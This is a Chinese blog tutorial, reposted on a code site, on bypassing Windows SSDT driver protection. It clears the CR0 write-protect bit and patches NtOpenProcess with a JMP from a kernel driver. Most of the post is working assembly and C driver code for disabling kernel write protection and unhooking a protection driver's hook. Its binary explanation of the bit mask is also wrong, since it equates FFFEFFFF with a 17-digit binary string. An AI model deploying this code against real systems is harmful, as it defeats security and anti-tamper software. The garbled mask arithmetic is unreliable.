通過修改CR0寄存器繞過SSDT驅動保護


  為了安全起見,Windows XP及其以后的系統將一些重要的內存頁設置為只讀屬性,這樣就算有權力訪問該表也不能隨意對其修改,例如SSDT、IDT等。但這種方法很容易被繞過,我們只要將這些部分修改為可寫屬性就可以了,不過當我們的事情做完后記得把它們恢復為只讀屬性,不然會造成一些很難預料到的后果。

  cr0是系統內的控制寄存器之一。控制寄存器是一些特殊的寄存器,它們可以控制CPU的一些重要特性。

  控制寄存器最初出現於低級的286處理器中,以前稱之為機器狀態字(machine status word),在386以后它們被重命名為控制寄存器(control register)。

  cr0寄存器直到486的處理器版本才被加入了“寫保護”(Write Protect,WP)位,WP位控制是否允許處理器向標記為只讀屬性的內存頁寫入數據。

  WP位0:禁用寫保護的功能

  WP位1:開啟寫保護的功能

cr0的第16位是WP位,只要將這一位置0就可以禁用寫保護,置1則可將其恢復。

禁用寫保護的操作步驟:

1 shl 16(1左移16位)//結果:10000000000000000

對結果取反 not (1 shl 16)//結果:FFFEFFFF=01111111111111111

對cr0的值進行“邏輯與”運算:and cr0,  01111111111111111 //即將第17位置0,其余位不變

啟用寫保護的操作步驟:

直接對CR0的值進行“邏輯或”運算:or cr0,10000000000000000//即將第17位置1,其余位不變

禁用和啟用寫保護的內聯匯編代碼如下所示:

// 關閉寫保護
__asm
{
    cli ;//將處理器標志寄存器的中斷標志位清0,不允許中斷
    mov eax, cr0
    and  eax, ~0x10000
    mov cr0, eax
}

// 恢復寫保護
__asm
{
    mov  eax, cr0
    or     eax, 0x10000
    mov  cr0, eax
    sti ;//將處理器標志寄存器的中斷標志置1,允許中斷
}

注意:cli和sti都是特權指令,必須在ring0才能使用的。

核心代碼如下:

PJMPCODE pCurAddr;//指向SSDT表中"當前地址"的指針
JMPCODE oleCode;//用來保存前5字節,以便恢復

//驅動程序的入口函數
#pragma INITCODE//將DriverEntry設在分頁內存中,當驅動加載成功,此函數在內存中移除。
extern "C" NTSTATUS DriverEntry (IN PDRIVER_OBJECT pDriverObject,IN PUNICODE_STRING pRegistryPath)
{
    ULONG curAddr,oldAddr;
    JMPCODE jmpCode;

    // __asm int 3;//斷點
    DbgPrint("驅動加載成功……\n");
    curAddr = Get_NTCurAddr();
    oldAddr = Get_NTOldAddr();
    if (curAddr!=oldAddr)
    {
        //保存前5字節
        pCurAddr=(PJMPCODE)curAddr;//初始化指針
        oleCode.jmpStyle=pCurAddr->jmpStyle;//跳轉方式的機器碼(1字節)
        oleCode.jmpAddr=pCurAddr->jmpAddr;//跳轉的目的地址機器碼(4字節)
        
        jmpCode.jmpStyle = 0xE9;//近跳轉
        jmpCode.jmpAddr = oldAddr-curAddr-5;

        DbgPrint("要寫入的地址:%X",jmpCode.jmpAddr);
        //寫入JMP指令
        //關閉寫保護
        _asm
        {
            cli ;//將處理器標志寄存器的中斷標志位清0,不允許中斷
            mov eax, cr0
            and  eax, ~0x10000
            mov cr0, eax
        }

        pCurAddr->jmpStyle=0xE9;//近跳轉
        pCurAddr->jmpAddr=jmpCode.jmpAddr;//要跳轉到的地址
        // 恢復寫保護
        _asm
        {
            mov  eax, cr0
            or     eax, 0x10000
            mov  cr0, eax
            sti ;//將處理器標志寄存器的中斷標志置1,允許中斷
        }
        DbgPrint("NtOpenProcess被Hook了");
    }
    CreateMyDevice(pDriverObject);//創建設備
    pDriverObject->DriverUnload = DDK_UnLoad;    
    return STATUS_SUCCESS;
}
//卸載例程
void DDK_UnLoad(IN PDRIVER_OBJECT pDriverObject)
{    
    //關閉寫保護
    _asm
    {
        cli ;//將處理器標志寄存器的中斷標志位清0,不允許中斷
        mov eax, cr0
        and  eax, ~0x10000
        mov cr0, eax
    }
    pCurAddr->jmpStyle=oleCode.jmpStyle;//近跳轉
    pCurAddr->jmpAddr=oleCode.jmpAddr;//要跳轉到的地址
    // 恢復寫保護
    _asm
    {
        mov  eax, cr0
        or     eax,0x10000
        mov  cr0, eax
        sti ;//將處理器標志寄存器的中斷標志置1,允許中斷
    }
    DbgPrint("驅動卸載成功……\n");
}

原創文章,轉載請注明出處:http://www.cnblogs.com/hongfei/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM